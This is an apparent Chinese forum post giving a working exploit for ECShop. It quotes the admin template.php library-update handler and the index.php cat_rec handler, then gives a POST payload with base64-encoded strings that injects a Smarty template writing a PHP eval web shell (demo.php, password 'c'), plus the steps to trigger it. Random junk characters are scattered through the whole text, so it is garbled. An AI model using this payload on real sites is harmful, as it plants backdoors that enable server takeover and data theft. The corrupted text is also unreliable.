首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板+ C. z3 S3 v/ h
$ N! ]7 L- I% Y, M/ |$ a3 q
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了3 ~. G& ?8 b& z1 y3 f
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码6 Z* J Y5 u0 _$ D
admin/template.php
5 Z. ~& I {1 V: F- b( b6 r1 n2 d" M" h/ o
1 if ($_REQUEST['act'] == 'update_library')
" ^* e" x! j- y' `3 ~- H9 h
2 q6 G; \2 \* n E1 @2
! x& z% Y# j8 w+ O; ~. G
% f% H( K, d$ O5 b4 R% H4 Z3 { ' m& G/ M! D+ n6 \( I, K
/ A1 r# k ]- e& q4 check_authz_json('library_manage'); ! l1 t+ x- K+ |$ P; a. I7 H+ H
5 B: \6 c) F3 ^0 A
5
, j B/ J. J6 {9 Y( D/ d4 S; @. Q9 T' {7 h' t5 ~) L
6 $html = stripslashes(json_str_iconv($_POST['html'])); / L2 {8 R _2 S1 C! Y7 @" ]
2 a# f8 f8 \2 i" b
7 8 _( _! O: Q: a, R o
2 W ^2 v+ a4 ~6 o3 }8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 % Q5 u& ~3 `7 o: y
/ j: |% |/ e1 l& c3 c0 g0 }
9
) c+ S( V2 P$ m: `9 e! I
8 o( U+ Z) R/ y) X7 Y/ _0 J10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
5 k- E+ [( I1 v) r( I& b r' q
M" p! j& ~ o$ p U2 P' x7 B11
' X7 L. S; |6 F n; n2 B! g v4 _! `- Z! |
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 0 i/ x( g- l+ X' Q- R) }7 l, F
3 _, F- K; e7 e& |& c
13
2 B. q Y1 c# |$ V- x" w# F# d. f
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 " M' [8 w: H3 C2 y$ T, Z
+ ?6 H ~1 s* T3 W' U15 { 9 N3 b4 T4 g! g( |
& {: b. ~3 B' M9 Y2 r, @" X
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
% e- h) x* f7 | q+ `7 |& e8 A0 `% L0 }# d
17 make_json_result('', $_LANG['update_lib_success']); - T2 d5 F) N( F, Y. ]0 f
" \* E6 z3 s4 O4 g0 a
18 }
& o0 s3 h2 a8 L/ v" O
& [0 L& s* S# a19 else $ A4 x, [& P2 S |7 x& f+ U' r
# W& D3 T4 v$ T) K5 I! ]3 j20 { , m! H7 n1 H8 [ N4 ~
: j4 S" s" U7 Z* s- s
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 h/ f* q( c- z7 g% V Z; T* Y
! B% o" F4 N) d; @! I
22 } / C. }- q& |7 c, l/ Y" x
9 m+ [5 d" t, F' ^; Q4 e( D9 K
23 }
1 S; S7 w6 T; d& ~* z
, A8 q+ B5 i! F& C那么找个比较方便调用了模板的文件
, r+ j' B! {/ n9 O8 h* n2 Bindex.php. I4 Y2 C l3 S( p
" a v' G. i8 V' w* T4 T- ]1 if ($act == 'cat_rec') - i7 r8 Y! n E; I* U# J
5 p' b5 [; ?0 }9 j4 ?" K
2
6 a' N" |$ R' O/ c1 K; K+ d+ g' ]5 R3 U' J$ l. J6 ?' @3 i% f
3 { 6 z( }4 A6 p: F9 B
& l5 x' V' R, o6 p' R2 w4 h" z+ |4 1 r0 S2 O2 v6 |% z+ [) R- u% m
7 t9 M) P1 V( d9 ^) h
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
+ J! P' v, t" p
( b, u4 `$ A+ D% P1 k6
. s8 Y' w, i6 |5 _% U4 m
6 b$ ?+ @& \8 Z7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; " G: A v" b/ Y, {3 q' Z/ Q
9 o0 X5 U! |2 l
8
. L5 `9 ^5 Q Z3 O# S! `1 v2 b5 _# L& y3 |# d, @
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; " R% q' B2 Y6 T: g- W; v# s
4 E$ |4 k& R! n1 A
10 N2 ^9 a! E* p0 h' b6 b3 m
' g% I& c- g: c, K
11 include_once('includes/cls_json.php');
" j# \0 H$ ^4 e5 n8 y
) |; C& t% [) x7 h' {12
( Z2 q8 r+ B r; m5 j
5 [3 q; Z n2 w3 b/ W7 o! l, }13 $json = new JSON; ) b+ e& O9 h" _4 a9 f; _( h! p3 m
, Y4 k( Y o# h( h
14
3 Q+ Y. z9 H' t, D
' i3 S, a+ v( ^2 `15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
6 J6 A) p+ J: x8 w: Z
# A5 @* |4 Q2 @6 w, {+ }16
# R: ^7 Y; ~7 I ?8 s; G0 S0 `" Z- Q. a
17 $children = get_children($cat_id); ! ]) A2 ]6 q" a6 m5 H4 G
& C8 \" m9 Q% `5 H# [18 6 y8 H( [2 {! d" k3 Y
0 k- P! L% x8 [ y3 [0 a
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
/ t* U5 r6 s$ t' V: @% f! a2 w2 ^" ^8 H7 P" Z
20
6 B- `5 ]$ J' }0 m; V! J* _3 _: K
j) e: R* a. }6 M8 |. c21 $smarty->assign('cat_rec_sign', 1);
" Z) Z F1 G/ [* p; o, e, T( [1 f4 ?+ s" s! e2 [3 R
22
4 }; B/ Y. |8 j1 L5 B" z& a, U% ?
' n2 N2 U) \! ~" R- g, I23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) g8 R, F" O7 z) }9 X1 \ {% [2 O3 w. D
24
) O) M" K% G7 _" Y1 T" e, f# G
7 T/ J) t* J1 k+ z25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; : m, f" A x* w
( e s$ r/ G- |26 $ S: r9 g1 {# R2 ]4 E
. q+ X: A5 d E
27 echo $rec_array[$rec_type];
) C' x3 l" w* y) V" f, j ?+ A. M. R1 i$ z9 [0 q4 M1 G
28
# H' w0 B2 H; D& p4 K
4 s& f# J- R% E6 H% v1 [( F0 s# Y! Q29 die($json->encode($result));
* L+ P4 \( ?7 f' e
# T2 e. f: F+ A30
# G* x! ^4 B3 G, u4 G7 Y; s4 s* _2 N4 j7 C9 d! Q
31 }
6 _& ~' N, b# K7 g
6 s/ `) L, ^7 ^5 U' S( ]5 I那么就有利用方法了
: j9 f( p+ o" a: b8 spost包到http://localhost/ec/admin/template.php?act=update_library
' X v8 M0 X( ~, T, o' P# rPost内容:
' Z) N( Z4 W; h- ^1 @" g- N
( {& P9 h( P) s0 p# E; |% S
6 Z/ r4 D/ \2 `5 [& V1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 x' f+ k, n* H" T7 s1 O
* J9 n3 N. o1 a9 _* b7 Z2 V9 h) |然后访问http://localhost/ec/index.php?act=cat_rec# V% S4 u" y, ~" b6 K
# X a& d+ N8 S: H, Ishel地址:http://localhost/ec/demo.php
, n! F# k8 w Y3 F4 r4 A+ l* t& s7 N1 s密码c
! v4 N; o& k A5 o, q% e3 T/ N6 H2 y0 O) l* ?/ a5 M: f: u
|